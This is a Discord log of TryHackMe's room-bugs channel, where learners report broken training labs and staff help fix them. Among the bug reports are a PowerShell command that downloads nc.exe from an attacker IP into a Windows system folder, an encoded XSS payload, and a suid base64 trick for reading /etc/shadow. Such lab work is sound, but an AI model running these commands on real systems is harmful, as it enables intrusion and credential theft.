room-bugs

[warm lake]

thank you for the prompt reply, I'll keep at it

[livid escarp]

Gave +1 Rep to @rugged canyon

[shell sierra]

Room - Linux Privilege Escalation
LinkURL - https://tryhackme.com/room/linprivesc#
Task: Privilege Escalation: NFS
Error:
Pretty sure I've found a bug with Kali vs the remote host. When compiling C code then running it on the remote host I get "./nfs: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./nfs)"

So it seems the GLIBC version is mismatched on the Kali box vs the remote host. I was going to install an older version on the Kali box but I'm going to try with the Attackbox instead

[paper grotto]

Not sure if this is me or not but when I try and start the machince attached to https://tryhackme.com/room/linprivesc# task 3 nothing happens I waited 5 minutes and still nothing. But I am able to start the attack box

[mild fossil]

I've been having problems starting up machines most of today, I think there's something going on...

First time I've ever had the issue

[quaint sparrow]

It's a known problem right now, THM are looking in to it.

[mild fossil]

Oh yeah, just seen the posts in #site-support channel, thanks. 🙂

[livid escarp]

Gave +1 Rep to @quaint sparrow

[rugged mural]

Room - Network Services
LinkURL - https://tryhackme.com/room/networkservices
Task: Enumerating SMB, TELNET and FTP
Error: does not disploy the room

[mild fossil]

There are currently issues with some VM's on THM, staff are aware and working on it 🙂

[rugged mural]

Thank you very much for informing

[dusky spindle]

Same is happening to me! Machine_IP doesn't update

[dusky spindle]

Thanks!

[livid escarp]

Gave +1 Rep to @mild fossil

[paper grotto]

Yea I think all the deployable machines are down

[dusky spindle]

Yep, I tried 3 different ones and was starting to think it was my machine, but neither my VMs or my host machine were connecting. GLad to know everything's in order on this end!

[paper grotto]

It fs is I’m sure they’ll fix it later today

[rugged canyon]

well that is what you get for trying to cross compile... search for the error on this discord server and you will see countless examples of how to exploit it using living of the land and copying the bash from the target machine and giving that the suid bitr

[shell sierra]

Thanks, you're the best! Definite noob mistake here - I should have done a bit more searching in here before getting all stoked I'd found a bug, hah! Super useful for actual in the wild issues though as versions are going to be all sorts of mismatched!

[livid escarp]

Gave +1 Rep to @rugged canyon

[rugged canyon]

no problem

[livid bridge]

there may be a bug with the redline room can Staff DM me

[hazy tiger]

Can you describe your issue please

[livid bridge]

in DM so no spoilers

[hazy tiger]

Here please, just use spoiler text ||message||

[livid bridge]

redline room task #4 question #2 Provide the BIOS Version for the workstation.
input the correct answer but it still says incorrect, watching several online walkthroughs they put in the same answer and answer is accepted

I have screenshots

I don't know what spoiler text is

[livid bridge]

can you fix it?

[livid bridge]

screenshots not spoiler free sent to your DM

[hazy tiger]

#room-bugs message

[livid bridge]

thank you very much, that workaround was successful

[novel python]

VulnNet: Roasted, can take up to 6 minutes to boot and after 1 hour it shutdown by itself even if there almost 1h left. Just wanted to bring that up as it's not the first time I see that for Windows vm.

[round magnet]

Hello, I have a small problem. I am currently at OWASP Juice Shop, task 5. After I click on 'About Us', the menu wont disappear. Could this be a bug?

[small forge]

Hello, I have a problem whereas I try to enter a room it will just get stuck on the loading circle and won't load the room, the bug appeared out of nowhere. I tried resetting the cache and cookies and using a different browser and nothing. the weird part is after I reset cookies it works, but as soon as I log in boom, endless loading circle

[pastel lark]

Hello, in Pyramid of pain (https://tryhackme.com/room/pyramidofpainax) it seems to me that Task 9, Practical: The Pyramid of pain actually does not work: I am sure, I have the text correctly assigned to the pyramid's floors, but it keeps saying, Whoops... Check your answers. Fortunately the flag is not needed.

[slim kiln]

Hi guys, I am getting error in opening this link

https://tryhackme.com/room/hackerofthehill

[quaint sparrow]

That won't work.

Its also private for a reason.

I'm not a mod, but staff have suggested not to use this to access private rooms.

[pastel lark]

OK, but ones in the past mod suggested me to do this.

[quaint sparrow]

I'm also speaking as someone who has been told to stop doing that trick to access rooms by the QA manager.

It was a friendly warning before a site ban was introduced.

[hazy tiger]

Bypassing the private room screen may result in a ban.

Rooms that are private are not meant to be accessed for a reason:)

[hazy tiger]

This isn’t a bug; private rooms are usually set private on purpose due to being outdated, old, broken, or no longer up to standards:)

[pastel lark]

I do understand that, but when a) link in official THM blog leads to a private room, b) link in a room from official path is referencing to another (private and basic) room c) you ask because you think it is a bug and you are told to use this "hack" here by mod. So how can I know others feels it is not suitable and worth for ban?

[hazy tiger]

-> report the outdated room to staff and we will update it
-> report the outdated room to staff and we will update it
-> which moderator told you?

[pastel lark]

Muiri - see above #room-bugs message

[hazy tiger]

Muiri isn’t a moderator or employee,

See two messages below: #room-bugs message

[jaunty thunder]

Hi to everyone... there is a machine "MarketPlace" that klick me out on the ssh service after 2 minutes that i'm in ...

In the past, based on the writeup, the machine dosen't kick out the user...

[fervent finch]

Hello everyone,

I'm in the room titled "File Upload Vulns v2.1", task 4, second question about uploading a file and getting the flag.

The website says I successfully uploaded the file but no flag appears. I know I got the correct file to overwrite because the previous question was correct.

Any information on this?

nevermind... I figured it out...

[vivid drift]

On https://tryhackme.com/room/ice
The linked room is private

[sleek mulch]

in linux priv escalation theres a bug in suid room where it doesnt say nano is a suid biit using find / -type f -perm -04000 -ls 2>/dev/null is the walkthrough of room nano is listed but not for me

but i cant save or read the file fdor the questions

ohh yeah trying to use base64 suid

[civic carbon]

https://tryhackme.com/room/postexploit
Task 3, "File created from incompatible collector error" when putting the loot.zip into Bloodhound. I've generated the file twice, using the command given.

[wheat fractal]

Spelling error in https://tryhackme.com/room/nmap01 Task 6 Question:
What is the option required to tell Nmap to use ICMP Echo to discover life hosts?
life should be "live"

[sharp citrus]

there is warnning logo to not secure connection pn room : https://tryhackme.com/room/attacktivedirectory

[quaint sparrow]

Can you show a screenshot?

I can't do anything, I'm just interesting in what you mean.

[sharp citrus]

cant' take pic since is that stupid drop down popup that disrepair when i try take pic. ill try

[sharp citrus]

hmm

weird

[hazy tiger]

I’ll check the image URLs when I get to my PC

[dusky junco]

should be fixed

@sharp citrus

[sharp citrus]

sweet

[balmy hollow]

Anybody know what this is about? This is in the NFS Section of the "Network Services 2" Room
Edit: Can't seem to attach a screenshot. Something's off about the text in that room under "Understanding NFS". Anybody else see it and know what it is?

[wispy geode]

Verify with the bot and then can send screenshots

[balmy hollow]

Thank you, will do

[wispy geode]

!docs verify

[tropic flame]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[balmy hollow]

Here's the screenshot

[silk eagle]

https://tryhackme.com/room/sakura
Unable to complete Task 5 "What is the URL for the location where the attacker saved their WiFi SSIDs and passwords?".
The old URL that used to be the answer does not match and the current URL does not match

[dim grail]

Anyone else having an issue in the Linux Fundamentals course where they get "Permission denied" when trying to SSH into tryhackme@[IP_address]?

It's the same with Linux Fundamentals 2 and 3. It seems the first time I try it works fine, but if I come back after a day and try again it keeps coming up as invalid.

[raw bison]

I don't think there is a bug with that room, so best to move to #room-help and we can check there

[dim grail]

ok, will post the same message there

[crystal temple]

hi

Hello

[velvet epoch]

found a bug on the following room:
https://tryhackme.com/room/xss

Filter Evasion Section On Challenge 2:
my payload:
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#72;&#101;&#108;&#108;&#111;&#34;&#41";>
my payload has a pop up that says Hello, but I do not get the flag. @glad badger

[hazy tiger]

cc @glad badger this is a never ending issue with this room; the payload is so specific

[rugged canyon]

https://tryhackme.com/room/threatinteltools task 7 and 8
lets you download eml email files that according to the hashes of the attached files contain malicious/malware if you check them on virustotal or the other tools explained in the room

maybe it is intended to only be on the target machine that is in that room instead

[stray chasm]

On windowsfundamentals 3, task 3, the question is about a picture. The picture clearly states everything is fine with the computer, but the answer is that there is an issue with virus and threat protection 😛

[hollow stirrup]

In Sakura room Task 5 question 3:

What is the URL for the location where the attacker saved their WiFi SSIDs and passwords?

even when i put correct link is showing wrong answer

[hazy tiger]

#room-help

[wheat fractal]

Task 2, files, discovery.py, line 5: this is the correct code: "from pymodbus.client import ModbusTcpClient as ModbusClient"
https://tryhackme.com/room/attackingics1

[burnt scroll]

Thank you for posting this, that got me unstuck (using the THM box too).

[livid escarp]

Gave +1 Rep to @forest axle

[terse brook]

Hi room bug when compiling code for task 11 on https://tryhackme.com/room/linprivesc
glibc version issue based on attacker machine. Need to update or suggest alternative

[terse brook]

And compiling alternative glibc is a mess🥲

[hidden juniper]

Hi, I think I found a bug in Password Attack Room, Task 8, SMTP

When trying Hydra output is:

[ERROR] SMTP LOGIN AUTH, either this auth is disabled or server is not using auth: 502 5.5.2 Error: command not recognized

which looks like server is not understanding AUTH commands.

EHLO pantoufles
250-mail.thm.labs
250-SIZE 10240000
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250 CHUNKING

AUTH LOGIN
502 5.5.2 Error: command not recognized

[muted jay]

February 27, 2023
This was a huge help thanks, thought I was going crazy.

[livid escarp]

Gave +1 Rep to @raw crypt

[copper tide]

Hello, the Zeek Room was the input with value incorrect.

https://tryhackme.com/room/zeekbro

This is a question.

This is the command:

I'm only seeing one result in the file. I looked at a Whiteup that said it would be 2, even though I had run the same command

[copper tide]

@mild sequoia

[mild sequoia]

Hi @copper tide
I just verified that it's working. Can you clear the logs and re-run the command? OR reboot the machine, please.

[hidden juniper]

Hi,
breaching Active Directory room isn't working for me.
Web based AttackBox does not start with breachad interface (ip a doesn't show it) and obviously the AD machines don't respond to ping.
Tried VPN from my computer (and from Kali Web VM) and it exits with error:

Thu Mar 23 14:19:21 2023 OPTIONS IMPORT: timers and/or timeouts modified
Thu Mar 23 14:19:21 2023 OPTIONS IMPORT: --ifconfig/up options modified
Thu Mar 23 14:19:21 2023 OPTIONS IMPORT: route options modified
Thu Mar 23 14:19:21 2023 OPTIONS IMPORT: route-related options modified
Thu Mar 23 14:19:21 2023 OPTIONS IMPORT: peer-id set
Thu Mar 23 14:19:21 2023 OPTIONS IMPORT: adjusting link_mtu to 1624
Thu Mar 23 14:19:21 2023 Outgoing Data Channel: Cipher 'AES-256-CBC' initialized with 256 bit key
Thu Mar 23 14:19:21 2023 Outgoing Data Channel: Using 512 bit message hash 'SHA512' for HMAC authentication
Thu Mar 23 14:19:21 2023 Incoming Data Channel: Cipher 'AES-256-CBC' initialized with 256 bit key
Thu Mar 23 14:19:21 2023 Incoming Data Channel: Using 512 bit message hash 'SHA512' for HMAC authentication
Thu Mar 23 14:19:21 2023 Error: problem with tun vs. tap setting
Thu Mar 23 14:19:21 2023 Exiting due to fatal error

Same running in AttackBox

openvpn Desktop/NetworkConfigs/breachingad.ovpn

I keep finding issues, is that normal or it's just me?

[hazy tiger]

#site-support

[hidden juniper]

Thanks

[livid escarp]

Gave +1 Rep to @hazy tiger

[hidden juniper]

Definetly a bug. I had to edit the .ovpn file, change dev breachad to dev tun and change command in the room:

[thm@thm]$ systemd-resolve --interface breachad --set-dns $THMDCIP --set-domain za.tryhackme.com

to

[thm@thm]$ systemd-resolve --interface tun0 --set-dns $THMDCIP --set-domain za.tryhackme.com

[hazy tiger]

Cc @glad badger @dusky junco any guidance here? Has anything changed?

[hidden juniper]

With these little changes I was able to complete the room

I noticed also that if the network goes down the page reports it is running anyways

[dusky junco]

It looks like the backend setting that sets the interface as "breachingad" rather than tunX has broke somewhere along the line. @crystal bolt any ideas?

[crystal bolt]

I'm not in control of the actual VPN server itself. Only the network. If I can get Internet IP of that VPN server I can take a look and alter it's configuration. But haven't had any issues with these VPN servers thus far. If I get that IP I can SSH in and check what it is outputting as ovpn files and see if a change is required.

The adapter name should be breachad and not tun. That is by design and hasn't given us an issue in the past, so might just actually be cipher support that needs to be updated

[prisma bronze]

@hollow star In the https://tryhackme.com/room/nmap03 room the
The concept is simple, make the scan appears to be coming from many IP addresses so that the attacker’s IP address would be lost among them.
line has a grammatical mistake, usage of the verb "make" without a subject.
Here's a good correction:
The concept is simple, make the scan appear to be coming from many IP addresses so that the attacker’s IP address would be lost among them
Please fix this, thanks in advance! 🙏

[crystal bolt]

Please can you send the remote IP in your VPN file. It will tell me which vpn server to inspect

[wispy geode]

Cross-site Scripting room, Blind XSS, the recommended tool is now depreciated, but there is a new open source fork of it

[terse brook]

Hi lateral movement network iis server is offline, can it be rebooted please

[hidden juniper]

52.50.154.50

[crystal bolt]

Found the issue thanks. dev breachad is correct, but from client-common it was missing the second line with is dev-type tun. Issue should now be resolved

[livid escarp]

Gave +1 Rep to @hidden juniper

[hidden juniper]

A good pentester should be able to fix issues 😉

[hollow star]

Fixed. Thanks for pointing this out. 🙂

[livid escarp]

Gave +1 Rep to @prisma bronze

[hidden juniper]

Room https://tryhackme.com/room/passwordattacks, Task 8, Brute Force SMTP.
Server does not support SMTP AUTH LOGIN:

# telnet 10.10.135.120 25
Trying 10.10.135.120...
Connected to 10.10.135.120.
Escape character is '^]'.
220-mail.thm.labs ESMTP
220 mail.thm.labs ESMTP
EHLO pippo.com
250-mail.thm.labs
250-SIZE 10240000
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250 CHUNKING

[prisma bronze]

Np, thank you for fixing it 🫡

[rugged canyon]

oh yeah that problem... if only shadow could recall the exact solution right now

[rugged canyon]

think the solution to get the flag is to just use smtps instead

i.e the secure smtp

which would be on port 465 instead

still yeah the instructions in the room probably need updating

[hidden juniper]

Will try that

[hidden juniper]

It worked, thanks. I did an nmap scan, seen port 465 open, but didn't considered trying with SMTPS 😅

[livid escarp]

Gave +1 Rep to @rugged canyon

[rugged canyon]

no problem

still technically a bug with the room

[misty cave]

Dunno if anyone else has let you know, but should be sorted now

[rugged canyon]

yeah this is shadows third reminder that this is now fixed... thanks for the info though robert

[livid escarp]

Gave +1 Rep to @misty cave

[misty cave]

Do you want a fourth?

[rugged canyon]

hehehe sure

[rugged canyon]

we now got at least 3 people who get a white screen when deploying the target machine for linux fundamentals 1 and therefor can not access the target machine to learn these basic commands... is it already on the ticket list to see if it can be fixed???? @glad badger @dusky junco

[copper tide]

I checked and now it works correctly. Now just one more question regarding the Brim room, has the installed software been discontinued? I don't find the correct option to install on my Kali Linux or Windows. Thanks.

[livid escarp]

Gave +1 Rep to @mild sequoia

[peak wren]

In the Windows forensic 1 and Redline room the problem also happens

[rugged canyon]

oh should shadow have reported that in there instead????

[manic raft]

Not really a bug but incident handling with splunk task 9 references threatcrowd, that site is no longer available. cert goes to the wrong address and server sends a 503

i don't know where else to post it

the questions don't need the site though

[wheat fractal]

Volatility room:
Installation described wrongly. Recommended to use the following:
https://github.com/volatilityfoundation/volatility/wiki/Installation

[ebon lark]

Believe theres an issue with the what appear as the private room ccpentesting where I'm getting this error

[rugged canyon]

what room is linking to that????

[ebon lark]

Encryption - Crypto 101

[rugged canyon]

well thanks for that info... ccpentesting was marked private because it is very very old and don't meet the qa standards anymore if shadow recalls correctly... so this is technically a bug in the encryption crypto 101 room if it links there

[ebon lark]

It's link from this question regarding additional help as a hint; Would there be an alternative direction for assistance for this question?

[rugged canyon]

there is a room on john the ripper that might help

https://tryhackme.com/room/johntheripper0 @ebon lark

[ebon lark]

Thank you

[livid escarp]

Gave +1 Rep to @rugged canyon

[rugged canyon]

no problem

[nocturne stratus]

https://tryhackme.com/room/ctfcollectionvol1 task 5 appears to want you to examine html code for a flag but doesnt provide a file to examine to get that flag.

........ scratch that i feel silly now i seeked a writeup

[spice rivet]

@ocean patrolsirknyght hi. I am trying to get the Corp room first item to work and can't get it to work. I searched and found you solved it. Can you help me with the first step. I get an error about 2 argurments on download file. I typed: powershell -c "(new-object System.Net.WebClient).Downloadfile('http://10.8.133.41:8000/nc.exe', 'C:\Windows\System32\spool\drivers\color\nc.exe')"

[barren fulcrum]

I have found bug in SQL injection lab room from task 7
Here is photo from that task. When I run this command from attackbox, sqlmap didn't know --second-url command then I tried to learn sqlmap. I found --second-order is alternative to --second-url, I mean --second-url command doesn't work.
There is second bug also in this room
so-temper.py file that I downloaded from this room is not valid for sqlmap

[low plover]

unless i am mistaken somewhere, i don't think that 'mountain view' is the most popular city under Google ASN

[low plover]

also this should be debian.

[hazy tiger]

Hey there,

I believe you are supposed to be answering questions on the screenshots in the room

[fallen walrus]

Were you able to figure out and/or did anyone every contact you on this? I'm running into the same issue right now.

[rugged canyon]

would help if shadow had done said room

[pastel lark]

Hey guys, at https://tryhackme.com/room/snort room, at Task 8, there is referenced non-existing file at the VM (icmp-test.pcap).

[hardy charm]

No I never got contacted about it and if I did get contacted I never saw a message.

I'm pretty sure I ended up just dropping the room

[quaint sparrow]

What are you saving?

[hardy charm]

I'll have to look when I'm off work/ try and remember

[manic raft]

check the exercise files

if they're not there you accidentally deleted them or something else went wrong, reboot the machine in that case

[pastel lark]

Thanks, yeah probably accidentally delete them. 🙂

[livid escarp]

Gave +1 Rep to @manic raft

[twin halo]

Are you able to get root??
https://tryhackme.com/room/linprivesc
Task 7 Privilege Escalation: SUID

Can someone please help

[rugged canyon]

don't think you can easily gain a root shell there.. but you got arbitrary file read so yeah

[twin halo]

I am able to read /etc/shadow using base64
but unable to get root

[rugged canyon]

oh wait you probably have arbitrary file write too....

by redirecting the output of base64 into /etc/shadow you could probably get a root shell

though if you go that route good luck and be careful so you don't screw up the machine

you technically don't need a root shell to get the flag

[twin halo]

I tried but getting Permission Denied error

[rugged canyon]

ah okay then

if you know where the flag file is you could use the base64 binary to read the flag the same way you read /etc/shadow

which is the intended solution

[twin halo]

I am able to read the flag. but my aim is to get root

[twin halo]

same for /etc/passwd as well

[rugged canyon]

shadow never got root on that either but good luck ¯_(ツ)_/¯

[twin halo]

[hazy tiger]

What setuid are you trying to abuse?

[rugged canyon]

base64 is the suid binary in this instance

hence arbitrary file reads

[hazy tiger]

@twin halo Try:

LFILE=/etc/shadow
./base64 "$LFILE" | base64 --decode

[rugged canyon]

well think the used password for the root account is to hard to crack for getting a root shell that way if shadow recalls correctly

[hazy tiger]

You can't write with it, only read.

If you can execute sudo, you can drop a shell

[rugged canyon]

this is basically just a bonus challenge sumit set out for themselves

[twin halo]

Yeah I am able to read files. But I want root shell

[hazy tiger]

Can you run sudo?

[twin halo]

I tried this

[twin halo]

No

I tried to append the /etc/passwd and /etc/shadow through base64
But the files are unwriteable

As the Task 7 is about SUID, I am not sure how to get root

sudo permissions are not available to all 3 users

[hazy tiger]

It doesn't ask you to get root?

[twin halo]

The task is not asking to get root.

[hazy tiger]

Yes, not every technique will allow you to get root:)

[twin halo]

So need to look other techniques?

[hazy tiger]

If you were doing a CTF, yes, but this is a learning box. They might not want you to get root at this particular point so that you don't break the challenge

[twin halo]

Ok thanks! Just wanted to confirm 👍

However, I always try to get root even if it is not intended in the task. I do not break 🙂

[livid escarp]

Gave +1 Rep to @hazy tiger

[hazy tiger]

Yup! I appreciate your mindset, it is very can-do!
Just ensure not to presume there's always an option to get root, often times you're making your job harder than it needs to be:)

[wheat fractal]

Hi, the following room hasn't been maintained and the answers don't match the data found online anymore. It was a nice room and it would be a shame to "lose" it. The creator seems to be unreachable. What could be done in this situation? Room: https://tryhackme.com/room/webosint

[rugged canyon]

@hazy tiger ⬆️

[calm frigate]

Done!

Done!

[true badge]

i am in "Credentials Harvesting" room and in task no 6, there isn't any password for 10.10.237.226 SMB in windows credentials vault. i have have extracted them through mimikatz

[magic prism]

Hi everyone, I can't see the pictures from tasks "Listeners" and "Stagers" in room "Empire". As far as I can see, the images are corrupted in these tasks. Can the mods take a look at this?

Room link: https://tryhackme.com/room/rppsempire

[hazy tiger]

Just an FYI, moderators aren’t employees, please read #rules

[magic prism]

Sorry for that, I didn't know.

[outer prawn]

I am getting a different error. I have done the steps several times, but when I get into bloodhound and try to check a query, I always get this error: "NO DATA RETURNED FROM QUERY."

[plucky finch]

hello

i'm stuck

in Linux Fundamentals 2

can't access the attackbox with ssh tryhackme@"ip"

i put the password "tryhackme" but the bash tells me "Permission denied, please try again."

[wispy geode]

Have you started the machine in task 2?

[warm wedge]

Same here ..

[quaint sparrow]

You're 99% more than likely to be using the wrong IP.

[plucky finch]

yes

i was connected with the openvpn and started the attackbox

[hazy tiger]

#room-help @plucky finch And please verify your account so you can send screenshots

!docs verify

[tropic flame]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[plucky finch]

ok

one sec

now i can't start the virtual machine bcause my account isn't premium

[quaint sparrow]

If you're on a VM you don't need the attackbox.

[plucky finch]

do u mean

i can use the terminal to do it?

[quaint sparrow]

On your Vm, yes. 🙂

[plucky finch]

oh

ok

i'll try

[quaint sparrow]

You'll use that IP there.

[plucky finch]

ok

wait

one more question

do i have to connect the openvpn in my vm or on my own device?

[quaint sparrow]

Yes.

You'll always need to connect to OpenVPN so you can talk to THM machines.

[plucky finch]

in the vm and in my pc, right?

[quaint sparrow]

On your VM, yes.

Not your host.

[plucky finch]

ok

ty

[quaint sparrow]

Do you know how to, yes?

[plucky finch]

sure

i know

[quaint sparrow]

🙂 great, happy hacking.

[plucky finch]

ty

it works, ty so much :D

@quaint sparrow

[wheat fractal]

What to do

[woven vault]

room printer hacking 101

root@ip-10-10-236-74:~# git clone https://github.com/RUB-NDS/PRET && cd PRET
Cloning into 'PRET'...
fatal: unable to access 'https://github.com/RUB-NDS/PRET/': Failed to connect to github.com port 443: Connection timed out

[eternal summit]

Not a bug, you need to be a subscriber to access the internet from the attackbox

[woven vault]

Oh i will try it just expired now lol thank u bro i will check

[livid escarp]

Gave +1 Rep to @eternal summit

[noble needle]

https://tryhackme.com/room/investigatingwithelk101
On the 11th, which IP caused...
But the spike is on the 10th.

[whole flax]

I'm working

[rocky minnow]

Hi There! Having some issues with the Local Potato room (https://tryhackme.com/room/localpotato). Every time I launch the machine it won't connect. Trying to connect via Remmina and xfreerdp on the TryHackMe VPN it is indicating that perhaps the "user" user's password has expired.

[09:55:11:311] [3148049:3148050] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0
[09:55:11:311] [3148049:3148050] [WARN][com.freerdp.crypto] - CN = LP
[09:55:12:814] [3148049:3148050] [WARN][com.freerdp.core.nla] - SPNEGO received NTSTATUS: STATUS_PASSWORD_EXPIRED [0xC0000071] from server
[09:55:12:814] [3148049:3148050] [ERROR][com.freerdp.core] - nla_recv_pdu:freerdp_set_last_error_ex ERRCONNECT_PASSWORD_EXPIRED [0x0002000E]
[09:55:12:814] [3148049:3148050] [ERROR][com.freerdp.core.rdp] - rdp_recv_callback: CONNECTION_STATE_NLA - nla_recv_pdu() fail
[09:55:12:814] [3148049:3148050] [ERROR][com.freerdp.core.transport] - transport_check_fds: transport->ReceiveCallback() - -1

If someone could take a look and get this resolved that would be awesome! 🙂

[quaint sparrow]

@eternal summit

[calm frigate]

Done!

[calm frigate]

Done!

[abstract wren]

Hi, looks like there might be some problems with https://tryhackme.com/room/investigatingwithelk101 .

In task 4 where the machine gets booted it is not possible to connet to the machine "website" via the attackbox. I had the same error yesterday, and this is now the third try, i have tried following a walkthroug but it did the same thing as i did

[dusky junco]

hey 🙂 if you're seeing the 502 gateway error with this, this means the service hasn't started up yet (ELK is quite beefy). I would recommend waiting at least 5 minutes (and even then I'd probably wait closer to 10)

For the error on the left, I've never seen that on ELK before O.o. Probably related to things not starting up properly yet. But yeah, I would say deploy the machine, wait about 10 minutes to be safe and it should work okay 🙂 If you're having to wait longer than 15 minutes to be able to login to ELK then I would terminate & re-deploy the machine and try the process again

after 8 minutes I can login

[abstract wren]

Thank you, it worked. could swear i had tried to leave it running for 15 minutes, but it worked where i left it running for 10 minutes 🙂

[livid escarp]

Gave +1 Rep to @dusky junco

[dusky junco]

Yeah, unfortunately it's a little bit "luck of the draw" in that sense. Applications such as ELK are really beefy, and even though we give it a considerable amount of resources, it can still take a bit of time to boot up.

Glad to hear it's all sorted now though!

[flat socket]

Got this on the new SDLC one

[wispy geode]

The "final" part is what's probably confusing, it's not a bug though, the initial 1M has been spent, and you only made back 1.7M, instead of 2+

[flat socket]

oh, I get it now

Thanks :)

[wispy geode]

Np

[flat socket]

made a lot of money

@crystal bolt This might not be completely intended though, made 18 trillion dollars

[uncut carbon]

Linux Fundamentals Part 1

Task 7 Questions
If I wanted to replace the contents of a file named "passwords" with the word "password123", what would my command be?

Accepted Incorrect Answer:
echo passwords >> password123

[quaint sparrow]

This isn't a bug, your syntax is wrong.

[uncut carbon]

but it accepted it as correct

thats why im reporting it

[quaint sparrow]

refresh your page, it could be answer tolerence.

[crystal bolt]

yeah, game has a lot of factors and a couple ways for you to earn ridiculous amounts of money. We are not balancing the meta for this game for like a year so have fun and see how much you can make 😉

[flat socket]

Fair haha

[fathom rover]

Hello, does anyone know how I can let admins know that the answer to a task in a room is wrong due to updates?

[quaint sparrow]

Can you please state the room and question please

[fathom rover]

Burp Suite: The basics room
Task 7:
In which User options sub-tab can you change the Burp Suite update behaviour?
Answer: misc

Answer is wrong for Burp Suite Communiuty Edition v2023.2.4

[paper grotto]

I think I found a bug not sure what to call it but I am having an issue when after starting the machine for this room task 7: I used it for a little than took a short break and came back to this bug
https://tryhackme.com/room/linprivesc#

[paper grotto]

Send the thm bot verify

[dusky junco]

Hey 👋 can you try terminate and re-deploy the machine attached to that task please? This sometimes happens. If you still have the problem after terminating and re-deploying, can you open the view up in fullscreen by pressing the two arrows in opposing directions on the bottom right of the screen and sharing the URL please?

[paper grotto]

https://remote-eu-09.tryhackme.tech/#/client/MjAwMzExMgBjAG15c3Fs?token=801410A7BAE67C9E2775E6FDFD0599A8491FF33ED317959885ACD9A8096DAD5D

[dusky junco]

Thanks for sending this on. I'll forward this internally.

In the mean while, the credentials to access the machine using SSH are at the top of the task. You can either use your own device (connected to the VPN) or the AttackBox 🙂

[livid escarp]

Gave +1 Rep to @paper grotto

[paper grotto]

I tried the karen and password but it didnt work

[dusky junco]

The credentials worked for me. Are you trying to SSH into the IP from the card at the top of the room? (replacing the IP address with the one that you see). Otherwise, double check the capitalisation of P and the 1 at the end

Username: karen

Password: Password1

[paper grotto]

Oh no I was trying to login through the screen that it showed me but thank you

[livid escarp]

Gave +1 Rep to @dusky junco

[uncut nymph]

in room "snort", Task 3, Question "According to the official description of the snort, what kind of NIPS is it?" - the answer is not a NIPS type, it is a description at best.

[uncut carbon]

just checked, its marked correct with the correct answer

[uncut nymph]

In same room, a script called traffic-generator is required, it relies on "tcpreplay" which is unavailable. It cannot be installed with apt because the box has no internet connectivity.

[vagrant cape]

Hey folks, how's it going? I hope you guys is doing well, look... quick question...Does anyone notice that some machines it's going been terminated when we are in of them? like when I got the shell...it pass some minutes, the machine it's terminated, and I need to restart again
Archangel and ColddBox: Easy --- it's an example of this issue that I got today and yesterday

[plucky finch]

i think i found a bug

vulnversity

there are 4 ports open

or i'm wrong?

[placid abyss]

there are some other ports open

what command did you use with nmap?

your missing ports ||21 & 22||

[plucky finch]

nmap -sV

im trying -nP now

now shows all the 6 ports

ty, Jay

[placid abyss]

not sure why it didn't detect the first two

[wet orchid]

hi

in the intruder module i did the challenged and fuzzed all the cred but not a single one is right

and they all have the same length

i made sure that i am using the right username/password wordlist

[placid abyss]

👋 Could you go to #room-help please and give the room your on, and the parameters for the intruder

[wet orchid]

ok

[formal flare]

Bug Summary: Unable to connect to THMDC network in Enumerating Active Directory
Pages affected: https://tryhackme.com/room/adenumeration
Bug description: Unable to connect to the THMDC network in the Enumerating Active Directory room. The IP address of THMDC is 10.200.68.101, and the VPN connection is working fine without any problems when connected using a breached ovpn file. Please reset this machine or make it available as soon as possible.

[frank sparrow]

box wont terminate, has expired, reload the page and still hasn't terminated even after I click repeatedly to terminate, cant ping it, Windows PrivEsc v1.0, waited almost 2 hrs for it to expire before I could start machine again and finally ping it. what can I do in future when this happens on a box to not lose time?

[quaint sparrow]

Are you using the VPN pack for this room?

[formal flare]

yes

[quaint sparrow]

Have you changed the nameserver to that THMDC?

[formal flare]

yes, added the IP in DNS servers

[quaint sparrow]

Can ya take a screenshot?

I'm going to try connecting,

Are you in a VM or Attackbox?

I've connected.

I had to correct my data-ciphers on my script, changed my nameserver (placed it at the top too)

If you're still having issues, ping me and I can help. 🙂

[junior shore]

I am not sure whether this is a bug or not but the SOC level 1 pathway > sysinternals room> Networking utilities section. This section has a question and the answer is very clear Microsoft Corperation but the answer is not accepted even though it is the correct answer.

[hazy tiger]

Send room URL?

[placid abyss]

Sysinterals https://tryhackme.com/room/btsysinternalssg

somebody else reported this yesterday and I tagged you there

[junior shore]

Yep that is the one

[hazy tiger]

I know, I'm the reason the answer was updated

@hollow star Hey, did this get updated back to Microsoft Corporation?

[hollow star]

Talos Intelligence changed the owner info to microsoft azure as per https://talosintelligence.com/reputation_center/lookup?search=52.154.170.73. So I changed the answer accordingly especially that the hint already guides the user to use Talos. If you think this is still causing confusing please let me know. 🙂

[hazy tiger]

I have received a few emails regarding it also, possibly adding a note might clear it up if there isn't one already? :)

@junior shore @placid abyss

[hollow star]

I just run whois and it does not give the same answer as Talos... I will fix that.

[placid abyss]

Most sites don't

It seems talos is the outliner

[hollow star]

Since WHOIS and Talos Intelligence are giving different answers, I decided to stick with WHOIS since that's what's written in the original question. I updated the answer (again) and updated the hint accordingly. I hope it won't cause ambiguity any more. 🙂

[hazy tiger]

Thank you B)

[junior shore]

Thanks

[tawny osprey]

this might be a bug or I did something incorrectly. Anyways: when I grabbed the bash file (note I downloaded the file directly from github on the attackbox, the wget wasn't working for me) it's base perms were 644, not 645. doing sudo chmod -s bash didn't give me the final -x (645) that the room questions say should be there. Idk if this has to do with the way I obtained the file or if there's a missing step here. I had to chmod 645, then chmod -s to get the bash file with the required permission line.

[quaint sparrow]

Did you download the bash, or the html?

[eternal summit]

Should be 755

[tawny osprey]

bash

[tawny osprey]

I ran 645 then -s and that worked

[eternal summit]

It might have worked but it wasn't correct

It should be rwxr-xr-x

[tawny osprey]

the -s sets the execute to S for owner / group, so I'm not sure the 7/5 for owner / group are needed.

[eternal summit]

Capital S is wrong.

Capital S is SUID without execute. Incorrect and useless.

